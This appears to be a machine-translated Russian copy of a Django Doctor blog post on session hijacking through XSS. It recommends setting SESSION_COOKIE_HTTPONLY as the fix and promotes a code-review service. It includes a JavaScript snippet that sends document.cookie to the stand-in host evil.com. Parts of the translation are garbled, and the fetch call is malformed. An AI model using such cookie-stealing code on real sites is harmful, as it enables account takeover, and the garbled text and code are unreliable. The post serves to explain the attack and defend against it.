Рубрики
Без рубрики

Удар сайтов Django: Сессия угона с XSS

Одна уязвимость опирается на вершину другого: плохой актер может выполнить серию атак на вашем WebSi … Помечено Django, WebDev, Security, Python.

Одна уязвимость опирается на вершину другого: плохой актер может выполнять серию атак на вашем сайте, который начинается как простая атака XSS, чтобы обмануть браузер, выполнив какой-то Javancip, и заканчивается хакером, полностью захватывающим заседанию жертвы в воровство Их сессия cookie:

Готов к проблеме безопасности Django? Играть наш Задача безопасности Django .

В этом сценарии хакер просто скопировал и вставил в наклеивание файла cookie сеанса жертвы, а затем перезагрузил страницу. Но как они получили печенье? В предыдущем посте было показано, как небезопасный веб-сайт можно обмануть в выполнении некоторого JavaScript. Давайте немного изменим пример, чтобы украсть сеанс Cookie через JavaScript:

// nefavious.js

function stealSessionCookie(cookies) {
    fetch('https://evil.com/api/cookies', {method: 'post'}, cookies)
}

stealSessionCookie(document.cookie)

В этом примере сеанс пострадавших файлов cookie размещаются на сервере хакера – позволяя хакеру прочитать cookie из журнала, как продемонстрировано в видео.

Такая атака также может быть использована для кражи печенья CSRF, которое дополнительно демонстрирует, как одна очевидная незначительная уязвимость приводит к другому.

Профилактика

Эта сессия Cookie угона была возможна только потому, что на сайте были следующие уязвимости:

Проблема Httponly может быть исправлена, выполняя следующее в Django:

MIDDLEWARE = [
    'django.contrib.sessions.middleware.SessionMiddleware',
    ...
]

SESSION_COOKIE_HTTPONLY = True

Это предотвратит возможность браузера для чтения значения файла cookie сеанса, поэтому, если хакер успешно выполняет атаку XSS, по крайней мере, они не могут угонять сеанс пользователя.

Есть ли у вашего сайта уязвимости безопасности?

Со временем это легко для уязвимостей безопасности и технологического долга, чтобы проскользнуть в вашу кодовую базу. Я могу проверить это для вас в django.doctor или может Просмотрите свой GitHUB PRS :

Или попробуйте Рефакторы Django Challenges Отказ

Оригинал: “https://dev.to/djangodoctor/hacking-django-websites-session-hijacking-with-xss-2l8o”